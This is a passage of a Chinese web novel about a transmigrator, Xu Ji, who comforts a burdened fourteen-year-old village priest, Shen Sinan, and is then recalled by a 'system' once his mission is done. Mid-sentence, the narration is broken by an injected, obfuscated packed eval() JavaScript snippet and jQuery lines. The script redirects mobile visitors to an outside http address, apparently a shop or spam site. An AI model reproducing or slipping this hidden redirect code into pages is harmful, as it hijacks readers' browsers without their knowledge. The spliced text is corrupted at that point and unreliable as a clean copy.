许祭笑了，伸手替他擦去嘴角的汁水，指尖触到他柔软的唇瓣，沈司南的身子僵了一下，耳尖的红意迅速蔓延到脸颊，连脖颈都染上了薄红。他别过脸，假装去看枝头的果子，声音细若蚊蚋：“我自己来。” 许祭低低地笑出声，没再逗他，只是靠着树干，看着他。晨光落在沈司南的侧脸上，他的睫毛很长，垂着的时候，像蝶翼停驻，墨绿的长衫被风吹得轻轻晃动，银簪在发间闪着细碎的光。 “兰姨跟我说了，”许祭忽然开口，声音很轻，“她说你太苦了。” 沈司南咬果子的动作顿住了，指尖微微收紧，果皮被他捏出了一道浅浅的印子。他沉默了半晌，才低声道：“我是祭师，该做的。” “祭师也是十四岁的孩子。”许祭走过去，站在他身边，伸手揉了揉他的头发，“累了就说，不用硬撑。” 沈司南的鼻子忽然有点酸。他从阿爹走后，就被推上了祭师的位置，寨子里的人敬他，也怕他，没人再把他当孩子看。兰姨疼他，却总在他面前忍着，怕戳破他那点硬撑的坚强。只有许祭，会拉着他逃开，会给他摘甜果，会告诉他，累了就说。 他没说话，只是将脸埋进许祭的肩头，墨绿的长衫蹭着许祭的衣襟，带着淡淡的草木香。许祭的身子僵了一下，随即轻轻抬手，拍了拍他的背，动作温柔得像拂过花瓣的风。 晨光渐暖，漫过野果树的枝头，将两个少年的影子，叠成了一幅温柔的画。风穿过林子，带来果子的甜香，还有少年人没说出口的，藏在心底的柔软。 许祭垂眸看着埋在自己肩头的少年，墨绿的长衫蹭着他的衣襟，带着晨露和草木的清浅气息。沈司南的肩膀还微微发着颤，像只在外头受了委屈才肯卸下防备的小兽，褪去了祭典上那份凛然的肃穆，只剩下十四岁少年该有的柔软。 他抬手，轻轻顺着沈司南的发丝，指尖触到那支银簪的冰凉纹路，心里忽然软得一塌糊涂。 要是沈司南能天天这样开心就好了。 不用再扛着祭师的担子，不用对着晦涩的祷文字字斟酌，不用守着寨子的平安彻夜不眠。他可以像寨子里其他的少年一样，在山里追着野兔跑，在溪边摸鱼捉虾，累了就躺在树下晒太阳，嘴里叼着根草茎，笑得眉眼弯弯。 不用硬撑着做什么顶天立地的大人，不用把所有的苦都藏在心里，只把温和的笑留给别人。 许祭低头，看着沈司南露在外面的泛红耳尖，轻轻收紧了手臂，将人抱得更稳了些。晨光穿过枝叶的缝隙，落在两人交叠的影子上，野果的甜香漫在风里，悠长而温柔。 晨雾渐渐散了，两人顺着林间小径走到溪边。溪水清浅，水底的鹅卵石被冲刷得圆润透亮，阳光落在水面上，碎成一片粼粼的金箔。 许祭拉着沈司南在岸边的青石上坐下，青石被晒得温热，贴着衣料很舒服。沈司南手里还捏着啃了一半的野果，果汁顺着指尖往下淌，滴进溪水里，惊起一圈细碎的涟漪。 许祭抬手，替他擦去指尖的汁水，指尖相触时，沈司南微微缩了缩手，却没躲开。两人并肩坐着，谁都没说话，只听得到溪水潺潺的声响，还有风掠过树梢的轻响。 沈司南低头看向水面，溪水里映出两个并排的影子。他的墨绿长衫，许祭的素色短褂，交叠着落在水里，被水流轻轻晃着，像是要融在一起。他的耳尖还泛着红，侧脸的线条柔和，没了祭典上的肃穆，只剩下少年人的青涩。 许祭也看着水里的倒影，看着沈司南垂着的长睫毛，看着他嘴角沾着的一点果渍，心里那点柔软又漫了上来。他想，要是日子能一直这样就好了，没有祷文，没有担子，只有溪水，阳光，和身边的人。 沈司南忽然伸手，指尖轻轻点了点水里自己的影子，影子晃了晃，和许祭的影子缠得更紧了。他抬头看向许祭，眼底盛着细碎的光，嘴角弯起一个浅浅的笑。 许祭也笑了，伸手揉了揉他的头发，银簪被晃得轻轻作响。风带着野果的甜香，裹着溪水的凉意，漫过两人的衣角，温柔得像是一场不会醒的梦。 晨雾彻底散尽的时候，天光已经漫成了透亮的暖金色。许祭拉着沈司南的手，踩着被晨露浸得发软的青草，走到了寨子后山的那条溪边。溪水不算宽，却清得能看见水底每一颗鹅卵石的纹路，阳光斜斜地落下来，在水面铺展开一片粼粼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037623|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金箔，像撒了一把碎钻，随着水流轻轻晃动。 溪边的青石被晒得温热，许祭先坐了上去，拍了拍身侧的位置，沈司南便挨着他坐下，手里还捏着那枚啃了一半的野果，果皮上的红晕沾着他指尖的温度，果汁顺着指缝往下淌，滴进溪水里，惊起一圈极细的涟漪，晃碎了水面上的光影。 两人都没说话，只听得到溪水潺潺流淌的声响，哗啦，哗啦，像山涧里终年不息的低语。风掠过岸边的芦苇，荡起一片细碎的沙沙声，带着青草和野果的甜香，拂过两人的发梢。沈司南低头看着水里的倒影，看着自己墨绿的长衫下摆，看着许祭素色的短褂袖口，看着两个影子在水里挨得极近，被水流轻轻晃着，像是要缠在一起。 他的嘴角先是微微动了动，然后，一点极浅的笑意，慢慢漾开了。 那是一种很轻很软的笑，不像平日里对着族人时那种温和却疏离的笑，也不像预演祷文时被许祭逗弄时那种带着羞赧的笑，而是一种卸下了所有防备的，近乎孩子气的笑。十四岁的少年，眉眼还带着未脱的稚气，笑起来的时候，眼角微微弯着，像一弯新月，眼底盛着的，是水面上晃荡的光，干净得不像话。 “你看，”沈司南抬起手，指尖轻轻点了点水面，他的影子便跟着晃了晃，和许祭的影子缠得更紧了，“水里的我们，好像……好像分不开了。” 他的声音很轻，带着一点刚睡醒的喑哑，还有一丝不易察觉的雀跃，像偷吃到糖的孩子。 许祭侧过头去看他，目光落在他带着笑意的侧脸。晨光落在沈司南的睫毛上，投下一小片浅浅的阴影，他的鼻尖小巧而挺直，嘴唇因为咬过野果，带着一点水润的红。这是许祭第一次看见沈司南这样笑，没有祭师的肃穆，没有少年人的硬撑，只有纯粹的，属于这个年纪该有的开心。 可看着看着，许祭的鼻子忽然一酸。 他想起兰榙方才在祭典上，拉着他躲在凤凰树下说的那些话。想起兰榙泛红的眼眶，想起她说“司南这孩子太苦了”，想起她说“他才十四啊，别家的孩子还在山里追着野兔跑”，想起她说“不过是硬撑着罢了”。 他想起昨夜祭典上，沈司南站在香案前的模样。一身墨绿长衫，脊背挺得笔直，像一截生在崖边的翠竹，明明累得额角满是汗珠，明明念祷文念得声音都有些发哑，却依旧一字一句，念得郑重。他想起自己刚入寨时，撞见沈司南在药庐里熬药的模样，小小的身板搬着比他还高的药篓，墨绿的长衫沾了药渍，眼底的红血丝重得吓人，却还对着前来领药的老人，露出温和的笑。他想起无数个深夜，路过沈司南的竹楼，总能看见窗纸上那个伏案的身影，油灯的光映着他，连带着影子都透着疲惫。 沈司南才十四岁啊。 十四岁的年纪，本该是在山里疯跑，爬树掏鸟窝，摸鱼捉虾的年纪，本该是受了委屈就扑到爹娘怀里哭的年纪，可他呢？他要扛起祭师的担子，要守着一寨子人的平安，要念那些晦涩难懂的祷文，要处理寨子里的大小事务，要把所有的苦和累，都藏在心里，只把温和的笑，留给别人。 许祭看着沈司南脸上的笑，那笑意明明那么干净，却像一根针，轻轻扎进了他的心里，疼得他眼眶瞬间就红了。 一滴滚烫的眼泪，毫无预兆地落了下来，砸在他的手背上，带着灼人的温度。 沈司南正看着水里的影子笑，察觉到身边的人没动静，便转过头来，刚好看见许祭脸上的泪。他脸上的笑意瞬间僵住了，手里的野果差点掉下去，他慌慌张张地抬手，想去擦许祭的眼泪，指尖刚触到许祭的脸颊，就被那滚烫的温度烫了一下。 “你……你怎么哭了？”沈司南的声音带着一点慌，还有一点无措，他从来没见过许祭哭，这个总是笑着揉他头发，总是逗他，总是护着他的人，怎么会哭呢？ 许祭没说话，只是看着他，眼泪掉得更凶了。他想忍住，可越是看着沈司南那张带着稚气的脸，看着他眼里的慌，心里的疼就越是翻涌。他抬手，一把将沈司南揽进了怀里。 沈司南的身子僵了一下，手里的野果终于掉在了地上，滚到了溪边的草丛里。他能闻到许祭身上的味道，是阳光和青草的味道，很干净，很温暖。他的下巴抵在许祭的肩头，能感觉到许祭的肩膀微微发颤。 然后，他听见许祭的声音，贴着他的耳朵，带着浓重的鼻音，一字一句，像带着千斤的重量。 “沈司南，你真的好苦，好苦啊。” 那一句话，像一道惊雷，劈开了沈司南心里所有的防线。 从阿爹走的那天起，他就被推上了祭师的位置。寨老拍着他的肩膀说，司南，你是沈家的孩子，你要扛起这个担子。族人看着他的眼神，有敬重，有期盼，还有一丝不易察觉的疏离。他知道，从那天起，他就不能再是那个可以在阿娘怀里撒娇，可以在山里疯跑的孩子了。他要学着念祷文，学着处理寨务，学着熬药，学着护着所有人。 他以为自己已经习惯了，以为自己已经把那些苦都藏好了，以为自己真的可以做一个顶天立地的祭师了。 可是，当许祭抱着他，说“你真的好苦好苦”的时候，他心里那道紧绷了太久的弦，骤然断了。 先是鼻尖一酸，然后，眼泪就毫无预兆地涌了出来。 十四岁的少年，肩膀还很单薄，却扛了太久的重量。那些深夜里的疲惫，那些念祷文时的无助，那些面对族人期盼目光时的压力，那些不敢对阿娘说的委屈，在这一刻，全都化作了滚烫的泪水，汹涌而出。 他没有哭出声，只是把脸埋在许祭的肩头，肩膀剧烈地颤抖着，眼泪浸湿了许祭的短褂，带着他的温度，一点点渗进布料里。 许祭感觉到肩头的湿润，心里更疼了。他收紧手臂，把沈司南抱得更紧，一只手轻轻拍着他的背，像哄孩子一样，一下，又一下。 风还在吹着，溪水还在流着，芦苇还在沙沙作响。阳光落在两人身上，暖融融的，像是一层温柔的纱。 沈司南哭了很久，久到他以为自己把这辈子的眼泪都哭完了。哭到最后，他的声音都变得沙哑，肩膀也不再颤抖，只是还抽噎着，像一只受了委屈的小兽。 许祭一直抱着他，没有催他，也没有多说什么，只是安静地陪着他。他知道，沈司南需要这样一场哭，需要这样一次彻底的释放。 不知过了多久，沈司南的哭声渐渐停了。他从许祭的肩头抬起头，眼睛红肿得像核桃，脸上还挂着泪痕，睫毛湿漉漉的，一颤一颤的，看起来可怜极了。 许祭抬手，用指腹轻轻擦去他脸上的泪，指尖带着微凉的温度。沈司南没有躲，只是看着他，眼底还带着一点水汽，像蒙着雾的湖。 “对不起，”沈司南的声音沙哑得厉害，“把你的衣服……弄脏了。” 许祭笑了笑，抬手揉了揉他乱糟糟的头发，银簪被晃得轻轻作响。“没事，”他说，声音依旧带着一点鼻音，却温柔得不像话，“脏了就洗，多大点事。” 沈司南低下头，看着自己的指尖，指尖上还沾着野果的果汁，黏黏的。“我……我从来没哭过，”他小声说，“阿爹走了以后，我就没哭过。” “我知道，”许祭说，他伸手，握住沈司南的手，指尖轻轻摩挲着他掌心的茧，那是常年握着祷文，搬着药篓磨出来的茧，“我都知道。” 沈司南抬起头，看着许祭的眼睛。许祭的眼睛里，没有敬重，没有期盼，只有满满的心疼和温柔。那是一种他从未感受过的目光，像是冬日里的暖阳，一点点，把他心里的寒凉，都融化了。 他忽然就红了眼眶，又有眼泪涌了上来，却不是之前那种汹涌的哭，只是静静地，落了两滴泪。 许祭没再说话，只是握着他的手，陪着他，坐在溪边的青石上。 溪水依旧潺潺地流着，水面上的光影，晃得人眼晕。两个少年的影子，在水里挨得极近，再也没有分开。 风掠过芦苇，带来一阵甜香，是野果的味道，也是阳光的味道。 许祭侧过头，看着沈司南泛红的眼眶，心里默默想着，以后，他会陪着他，会护着他，会让他不用再硬撑，会让他天天都能笑得像今天这样，干净，又开心。 沈司南也侧过头，看着许祭的侧脸，看着他眼底的温柔，心里忽然就暖了。他想，有许祭在，好像那些苦，也没那么难熬了。 两人就这么坐着，从晨光微熹，坐到日头渐渐升高。阳光越来越暖，落在身上，像一层看不见的铠甲，护着两个少年，护着他们此刻的，无人打扰的温柔。 溪边的草丛里，那枚被沈司南掉在地上的野果，静静地躺着，果皮上的红晕，在阳光下，泛着温柔的光。 风掠过芦苇丛的沙沙声里，忽然掺进一阵极轻的脚步声，踩在溪边的软草上，带着点刻意放轻的谨慎。 沈司南闻声猛地一颤，像是受惊的小兽，慌忙从许祭肩头抬起头，手背胡乱地擦着脸上的泪痕，耳尖瞬间红透，连带着脖颈都泛起一层薄红。许祭也循着声音望去，只见陈杬祝站在几步外的芦苇边，梳着乌黑的双丫髻，簪着两朵淡紫色的野菊，手里拎着个竹编的小药篮，篮沿挂着几片新鲜的车前草，显然是刚从附近的药田过来。 陈杬祝的目光落在沈司南红肿的眼尾上，秀气的眉头几不可察地蹙了蹙，她没去看许祭，只是对着沈司南，声音软乎乎的，带着点少女特有的关切：“司南，你怎么哭了？” 这话像一根细针，轻轻刺破了两人之间方才那份柔软的氛围。沈司南的脸更红了，他下意识地往后缩了缩，往许祭身边靠得更近了些，攥着许祭衣角的手指微微收紧，声音低得像蚊子哼：“没……没哭。” 许祭抬手，不动声色地替他拢了拢被风吹乱的墨绿长衫下摆，挡住了他泛红的眼眶，抬眼看向陈杬祝，语气淡了些：“刚迷了眼睛，没什么事。” 陈杬祝的目光在两人交叠的影子上扫了一圈，又落在沈司南攥着许祭衣角的手上，眉头蹙得更紧了些。她拎着药篮往前走了两步，蹲下身，从篮里摸出一颗用草叶包着的糖球，递到沈司南面前，指尖还沾着点青草的露水：“寨里阿婆给的麦芽糖，甜的，吃了就不哭了。” 沈司南看着那颗圆滚滚的糖球，鼻尖又有点发酸，他咬了咬唇，没敢去接，只是抬头看向陈杬祝，眼底还蒙着一层薄薄的水汽，像被雨水打湿的湖面。 陈杬祝见他这副嘴硬的模样，心里的那点心疼便翻涌上来。她将糖球往沈司南面前又递了递，声音拔高了些，带着点少女的执拗，又藏着掩不住的关切：“沈司南！还说没哭，你看你眼睛红的，跟兔子似的。” 她顿了顿，放下药篮，蹲在青石边，目光直直地看着他，语气软了几分，却带着不容置疑的认真：“委屈不开心，就和我们说，不行吗？” “你当祭师，要护着寨子，护着大家，我们都知道你不容易。可你也才十四岁啊，不是什么铜墙铁壁的大人，”她瞥了一眼身旁的许祭，又转回头看着沈司南泛红的眼眶，“我们是朋友，是一起在寨子里长大的，你总把心事都憋在心里，算什么呀。” 沈司南看着她手里的麦芽糖，糖纸裹着的糖球泛着淡淡的米黄色，空气里似乎都飘着一丝甜意。他的喉结动了动，攥着许祭衣角的手指松了松，眼底的水汽又开始往上涌，却偏偏梗着脖子，不肯再掉一滴泪。 许祭感觉到掌下的肩头微微发颤，沈司南咬着唇，明明眼眶红得厉害，却硬是把泪意憋了回去，只余睫毛湿漉漉地颤着。他抬手，一下一下轻轻拍着沈司南的背，动作温柔得像是在安抚一只受了惊的小兽，声音低沉又笃定，裹着风里的甜香，落进沈司南的耳朵里：“想哭就哭吧，不用硬撑。” 他顿了顿，侧过头，目光掠过一旁蹲着的陈杬祝，又落回沈司南泛红的眼尾，指尖轻轻拂过他鬓角的碎发，一字一句，带着郑重的承诺：“我和杬祝都在，我们永远不分开。” 陈杬祝跟着点头，把糖球塞进沈司南手里，小声附和：“就是，有我们呢。” 话音刚落，林子里又传来一阵轻快的脚步声，伴着少女清脆的笑。绫司司从芦苇丛后钻出来，手里还捏着两根狗尾巴草，发梢沾着草叶上的露水，眉眼弯弯的，一副看热闹的模样。 她晃着手里的狗尾巴草，几步走到青石边，弯腰打量着沈司南泛红的眼眶，笑得眉眼都弯成了月牙：“沈司南，哭了啊～” 她故意拖长了语调，带着点打趣的意味，却又没真的戳人痛处。见沈司南猛地别过脸，耳尖红得快要滴血，绫司司又晃了晃手里的狗尾巴草，挑眉道：“我就说，你怎么可能没有感情。平日里装得跟块冷冰冰的青石板似的，原来也会哭鼻子啊。” 说着，她把一根狗尾巴草递给陈杬祝，另一根凑到沈司南面前晃了晃，语气里满是揶揄：“喏，给你，擦擦眼泪？” 陈杬祝伸手拍开她的手，瞪了她一眼：“绫司司，别胡闹。” 绫司司嘿嘿一笑，也不恼，挨着许祭在青石上坐下，晃着腿看溪边的水，阳光落在她脸上，满是少女的肆意张扬。 陈杬祝见状，把手里那颗麦芽糖往沈司南掌心一塞，又从药篮里翻了翻，摸出另外三颗用油纸包着的糖球，分给许祭和绫司司各一颗，最后一颗攥在自己手里。 “甜的，吃了心里就不酸了。”陈杬祝剥开油纸，咬了一小口，麦芽糖的甜香瞬间漫开来，在舌尖化开黏黏的暖意。 沈司南捏着那颗糖球，指尖触到油纸的糙意，他低头看着糖球上浅浅的纹路，犹豫了一下，还是慢慢剥开了油纸。米黄色的糖球在阳光下泛着温润的光，他小心翼翼地咬了一口，清甜的滋味瞬间漫过舌尖，带着阿婆手作的暖意，一路甜到了心底。 眼眶里的水汽又开始往上涌，却不是先前的委屈，而是带着点说不清道不明的软。 绫司司早就迫不及待地剥开了糖纸，一大口咬下去，麦芽糖沾得嘴角都是，她也不在意，含糊不清地嚷嚷：“甜！阿婆的手艺就是好，比上次的更黏糊。”说着，还故意把沾着糖丝的手指凑到沈司南面前晃了晃，“看，拉丝了！” 沈司南被她逗得忍不住弯了弯嘴角，眼角的红还没褪尽，笑起来的时候，像雨后沾着露水的青竹，干净又好看。 许祭也慢慢咬着糖球，目光落在沈司南带着笑意的侧脸上，眼底的温柔快要溢出来。他抬手，替沈司南擦掉嘴角沾着的一点糖丝，指尖的温度轻轻擦过唇角，沈司南的耳尖又悄悄红了。 陈杬祝看着他们，偷偷弯了弯嘴角，又咬了一口糖球。风掠过芦苇丛，带来青草的清香，溪水潺潺地流着，阳光暖融融地落在四个人身上，糖球的甜香混着青草的气息，在风里飘得很远很远。 四个少年少女坐在溪边的青石上，手里捏着甜甜的麦芽糖，说着笑着，把那些藏在心底的委屈和疲惫，都揉进了这暖融融的时光里。 37. 原来一切都是原来 麦芽糖的甜香还在舌尖萦绕，阳光暖融融地裹着青石上的四个人，溪水潺潺，把芦苇丛的影子晃得支离破碎。沈司南嘴角沾着一点糖丝，被许祭的指尖擦过的地方还泛着热，他别过脸去，耳尖红得像熟透的樱桃，却忍不住偷偷抬眼，看了看身侧的许祭。 许祭正咬着糖球，目光落在沈司南泛红的耳尖上，眼底的温柔像浸了水的棉絮，轻轻漾开。他想起兰榙拉着他说“司南太苦了”时的模样，想起沈司南埋在他肩头哭到颤抖的触感，想起方才少年人眼里的水光，心里那片柔软的地方，像是被什么东西轻轻填满了。 他想，就这样待着也好。待在这个有溪水、有阳光、有麦芽糖甜香的寨子里，待在沈司南身边，看着他卸下祭师的重担，像个普通的十四岁少年一样，笑出声，哭出来，再也不用硬撑。 风掠过芦苇丛，带来一阵沙沙的响，绫司司正举着狗尾巴草逗弄沈司南，陈杬祝在一旁笑着拍开她的手，叮嘱她别闹。沈司南被逗得躲了躲，嘴角的笑意藏不住，眉眼弯弯的，像山间最清澈的月牙。 就在这时，一道极淡的、不带任何情绪的机械音，毫无预兆地在许祭的脑海里炸开—— 【叮。检测到宿主任务核心目标达成：引导任务对象沈司南完成情绪释放，建立稳固的情感支撑关系。】 许祭的笑容猛地僵在脸上，握着糖球的手指微微收紧，指尖的温度骤然褪去。他下意识地看向沈司南，少年人正被绫司司的玩笑逗得脸颊泛红，丝毫没有察觉到他的异样。 【任务完成度100%，综合评价：完美。】 【奖励已自动发放至宿主个人空间，可在回归现实后领取。】 【现开启回归通道，倒计时十分钟。倒计时结束，宿主将强制回归现实世界。】 机械音一字一顿，冰冷得像淬了霜，与周遭的暖融格格不入。许祭的心脏像是被一只无形的手攥住，猛地往下沉，沉得他喘不过气。 回归现实。 这四个字像一把锋利的刀，猝不及防地劈开了他这段时间以来的所有念想。他从来没有忘记过自己不属于这里，忘记过他来到这个世界的初衷，是完成一个名为“拯救沈司南”的任务。 他记得自己刚穿来时，落在这个寨子的后山，遇见的第一个人就是沈司南。那时的少年穿着墨绿长衫，站在香案前念祷文，脊背挺得笔直，眼神里却藏着与年龄不符的疲惫和孤寂。他记得自己为了接近他，谎称是迷路的旅人，被兰榙好心收留；记得自己陪着他熬夜抄祷文，看他困得眼皮打架，却依旧不肯放下笔；记得自己偷偷给他带野果，看他吃得腮帮子鼓鼓的，露出孩子气的模样。 他以为，这些日子的相处，不过是任务里的一段流程。可直到此刻，这道冰冷的机械音响起，他才惊觉，不知从何时起，那个站在香案前的单薄身影，早已在他心里生了根。 他舍不得。 舍不得兰榙温和的笑容，舍不得陈杬祝的细心体贴，舍不得绫司司的肆意张扬，更舍不得……沈司南。 舍不得他哭红的眼眶，舍不得他笑弯的眉眼，舍不得他靠着自己的肩头流泪时，那份全然的信任和依赖。 【倒计时9:59。】 【倒计时9:58。】 脑海里的倒计时声，像催命的鼓点，一下下敲在许祭的心上。他看着眼前的三人，阳光落在他们的发梢，镀上一层温暖的金边，沈司南似乎察觉到他的不对劲，停下了打闹，转头看向他，眼神里带着一点疑惑：“许祭，你怎么了？脸色好差。” 陈杬祝和绫司司也安静下来，齐齐看向他。绫司司收起了狗尾巴草，关切地问：“是不是哪里不舒服？要不要去药庐歇歇？” 许祭张了张嘴，喉咙却像是被什么堵住了，发不出一点声音。他想说没事，可眼眶却不受控制地发烫。他怎么能没事？他马上就要走了，要离开这个有沈司南的世界，回到那个没有溪水，没有麦芽糖，没有他的现实。 他怕自己一开口，就会泄露心底的翻涌，就会忍不住问出那句“我走了，你会想我吗”。 他只能勉强扯出一个笑，摇了摇头，声音带着自己都没察觉到的沙哑：“没事，可能是有点晒得慌。” 沈司南皱了皱眉，往他身边挪了挪，替他挡住了一部分阳光：“那你躲躲，别晒伤了。” 少年人的指尖不经意地擦过他的手背，带着温热的触感，许祭的心脏猛地一颤，脑海里的倒计时还在继续—— 【倒计时8:30。】 【倒计时8:29。】 他看着沈司南近在咫尺的侧脸，看着他长长的睫毛，看着他眼底的关切，心里的酸楚像潮水般涌上来。他多想告诉沈司南，他不是迷路的旅人，他来自另一个世界，他是为了任务而来。他多想告诉沈司南，他舍不得他，舍不得这里的一切。 可他不能。 任务规则里写得清清楚楚，禁止向任务对象泄露任何关于任务和现实世界的信息，违者将被立刻强制遣返，且抹除所有相关记忆。 他不能让沈司南忘记他。 哪怕，他只能是沈司南生命里的一段过客。 许祭深吸一口气，压下心底的翻涌，抬手揉了揉沈司南的头发，指尖触到那支冰凉的银簪，声音尽量放得温柔：“没事的，别担心。” 他转头看向陈杬祝，笑了笑：“杬祝，你药篮里的车前草，是要拿去给寨里的阿公吗？” 陈杬祝愣了愣，点了点头：“嗯，阿公的腿疾又犯了，车前草熬水喝能缓解些。” “那等下我帮你送过去吧。”许祭说。 他又看向绫司司，眼底带着笑意：“司司，你上次说的那个野蜂巢，还在原来的地方吗？下次我们再去掏？” 绫司司眼睛一亮，连忙点头：“在呢在呢！等过几天我们一起去，我知道怎么掏才不会被蜜蜂蛰！” 许祭一一应着，把这些细碎的、温暖的片段，都刻进心底。他知道，这些“下次”，再也不会有了。 沈司南看着他，忽然说：“许祭，你要是喜欢这里，就留下来吧。我和阿娘都很喜欢你。” 许祭的心猛地一揪，像是被针扎了一下，疼得他眼眶发红。他看着沈司南认真的眼神，喉结滚动了几下，几乎要脱口而出“好”。 可脑海里的倒计时声，却在这时变得格外清晰—— 【倒计时3:00。】 许祭闭上眼，再睁开时，眼底的情绪已经被他压得干干净净。他抬手，轻轻捏了捏沈司南的脸颊，语气带着点玩笑的意味：“好啊，等我什么时候想通了，就留下来。” 沈司南的脸颊瞬间红透，别过脸去，耳根都红了。 绫司司在一旁起哄：“哟，脸红了脸红了！沈司南你也太不经逗了！” 陈杬祝笑着摇头，眼底满是笑意。 许祭看着眼前的一切，看着阳光，看着溪水，看着三个少年少女的笑脸，心里的不舍快要溢出来。他知道，他必须走了。 他不能让他们看见自己消失的模样，不能让他们为自己担心，更不能让沈司南，看着他凭空消失。 【倒计时1:00。】 许祭站起身，拍了拍身上的草屑，笑着说：“我去趟后山，摘点野果回来，你们在这里等我。” 沈司南抬头看他：“要不要我陪你去？” “不用，”许祭摇了摇头，目光在他脸上停留了许久，像是要把他的模样，牢牢刻在骨子里，“很快就回来。” 他转身，快步朝着后山的方向走去，脚步越来越快，最后几乎是跑了起来。他不敢回头，怕一回头，就会舍不得走，怕一回头，就会看见沈司南眼里的疑惑和不舍。 风从耳边呼啸而过，带着青草的气息，许祭的眼眶终于忍不住泛红，滚烫的眼泪，毫无预兆地落了下来。 【倒计时10。】 【9。】 【8。】 他停在一片茂密的树林里，回头望去，能看见溪边青石上的三个小小身影。沈司南正朝着他的方向望过来，像是在等他回去。 【7。】 【6。】 【5。】 许祭对着那个方向，无声地说了一句：“沈司南，再见。” 再见了，我的少年。 再见了，这个有你的世界。 【4。】 【3。】 【2。】 一道柔和的白光，从他的脚下亮起，缓缓包裹住他的身体。他的身影，在白光里，一点点变得透明。 【1。】 【倒计时结束。宿主强制回归现实世界。】 机械音落下的瞬间，许祭的身影彻底消失在树林里，像从未出现过一样。 溪边的青石上，沈司南看着空荡荡的树林入口，眉头轻轻蹙起。他总觉得，许祭刚才的眼神，带着一种说不出的悲伤。 他等了很久，久到太阳渐渐西斜，久到麦芽糖的甜香散尽，久到绫司司和陈杬祝都有些着急，却始终没有等到那个熟悉的身影回来。 沈司南站起身，朝着后山的方向走去，脚步急促。 风吹过芦苇丛，沙沙作响，像是在诉说着一场无人知晓的离别。 阳光渐渐落下，天边染成了温柔的橘红色，可那个说要摘野果回来的人，再也没有出现。 许祭的身影在白光里渐渐变得透明，那道冰冷的机械音刚落下最后一个字，沈司南就猛地从青石上站了起来。 他不知道自己为什么要跑，只知道心里那股强烈的不安快要将他吞噬。方才许祭转身时的眼神，那句轻飘飘的“很快就回来”，还有那越来越淡的身影，都像是针一样扎在他心上。他朝着后山树林的方向狂奔，墨绿的长衫被风吹得猎猎作响，脚下的野草和碎石硌得他脚踝生疼，可他顾不上这些，他只想追上那个身影，只想问一句你要去哪里。 白光已经快要散尽，许祭的轮廓淡得几乎要看不清。沈司南拼尽全力伸出手，指尖穿过那片柔和的光晕，没有触到许祭温热的皮肤，却攥住了一团冰凉的、泛着微光的东西。 那是一个只有巴掌大小的透明光团，光团里隐约浮着一行莹蓝色的数字——0320。 就在他攥住光团的那一刻，一道尖锐的、带着惊恐的电子音，在他的脑海里炸开： 【警告！警告！非授权对象接触系统本体！能量屏障受损！】 沈司南的脚步猛地顿住，他低头看着掌心的光团，眼底满是错愕和急切。他顾不上脑海里嗡嗡的声响，攥紧了那团光，声音因为奔跑而沙哑，却带着不容置疑的执拗：“许祭去哪里了？你告诉我，他去哪里了？” 【权限不足！无法回答！请立刻松开系统本体！否则将启动防御程序！】系统0320的声音抖得厉害，像是第一次遇到这种失控的状况，莹蓝色的光团在沈司南的掌心剧烈地颤抖着，光芒忽明忽暗。 “防御程序？”沈司南冷笑一声，十四岁的少年眼底翻涌着与年龄不符的戾气，他加重了力道，光团被他攥得变形，“你启动试试。我只问你，许祭去哪里了？他是不是不会回来了？” 他想起许祭替他擦去嘴角糖丝的温柔，想起许祭抱着他说“你真的好苦好苦”的心疼，想起许祭说“我们永远不分开”的承诺。那些画面在他脑海里翻滚，让他的心脏像是被一只无形的手攥住，疼得他喘不过气。 【我……我真的不知道！任务完成宿主就会被强制召回！这是规则！】系统0320的声音里带着哭腔，光团的光芒越来越弱，【快松开我！能量快要耗尽了！】 “召回？召回去哪里？”沈司南追问，眼眶泛红，他死死地盯着掌心的光团，像是要透过它看到许祭的身影，“是回他来的地方吗？那里是什么样的？我能不能去找他？” 【禁止向非授权对象泄露现实世界信息！禁止！】系统0320尖叫起来，【再这样下去，我们都会被……】 它的话还没说完，天边忽然划过一道极淡的流光。沈司南只觉得掌心一轻，那团泛着光的东西瞬间黯淡下去，莹蓝色的数字0320闪烁了几下，便彻底消失在了他的掌心。 树林里只剩下风声，还有沈司南粗重的喘息声。 他怔怔地看着自己空荡荡的掌心，那里还残留着一丝冰凉的触感，像是从未消失过。 许祭走了。 这个认知像一块巨石，猛地砸进他的心里，激起千层浪。 他站在原地，看着空荡荡的树林入口，看着天边那道渐渐消散的流光，忽然蹲下身，捂住了脸。 眼泪，再一次汹涌而出。 晚风卷着芦苇的碎屑，掠过后山的树林，沙沙的声响像是谁在低声啜泣。沈司南蹲在地上，掌心还残留着系统0320消散前的那一丝冰凉，指尖蜷缩着，像是还想抓住什么，可那里空空如也，什么都没有。 许祭走了。 那个说要陪他摘野果，说永远不分开，说他好苦好苦的人，就这么凭空消失了，像一场短暂的梦，醒了之后，连一点痕迹都不肯留下。 眼泪已经流干了，眼眶红得发胀，却再也掉不出一滴泪。他的肩膀还在微微发颤，喉咙里堵着一团化不开的酸涩，像是被人硬生生塞进了一把碎玻璃，咽不下去，也吐不出来。 就在这时，一阵极轻的脚步声缓缓靠近，带着熟悉的、温和的气息。兰榙站在他的身后，手里攥着那方绣着兰草的帕子，看着儿子单薄的背影，眼底的疼惜像潮水般涌上来。她没有说话，只是轻轻走过去，蹲下身，伸出手，将沈司南揽进了怀里。 “儿啊，不哭了，不哭了。” 兰榙的声音很轻，带着哽咽，手掌一下一下，轻轻拍着他的背，像他小时候受了委屈哭鼻子时那样。她的怀抱温暖而柔软，带着皂角和草药的清香，那是沈司南从小到大最依赖的味道。 换做从前，他一定会埋进母亲的怀里，把所有的委屈和难过都哭出来，像个真正的十四岁少年。 可现在，沈司南只是僵着身子，任由兰榙抱着。他的眼睛空洞地望着前方的地面，地上的野草沾着他的泪痕，被风吹得晃来晃去。他能感觉到母亲的心疼，能感觉到那只手的温度，可心里的那片地方，像是被什么东西掏空了，只剩下一片荒芜的、冰冷的废墟。 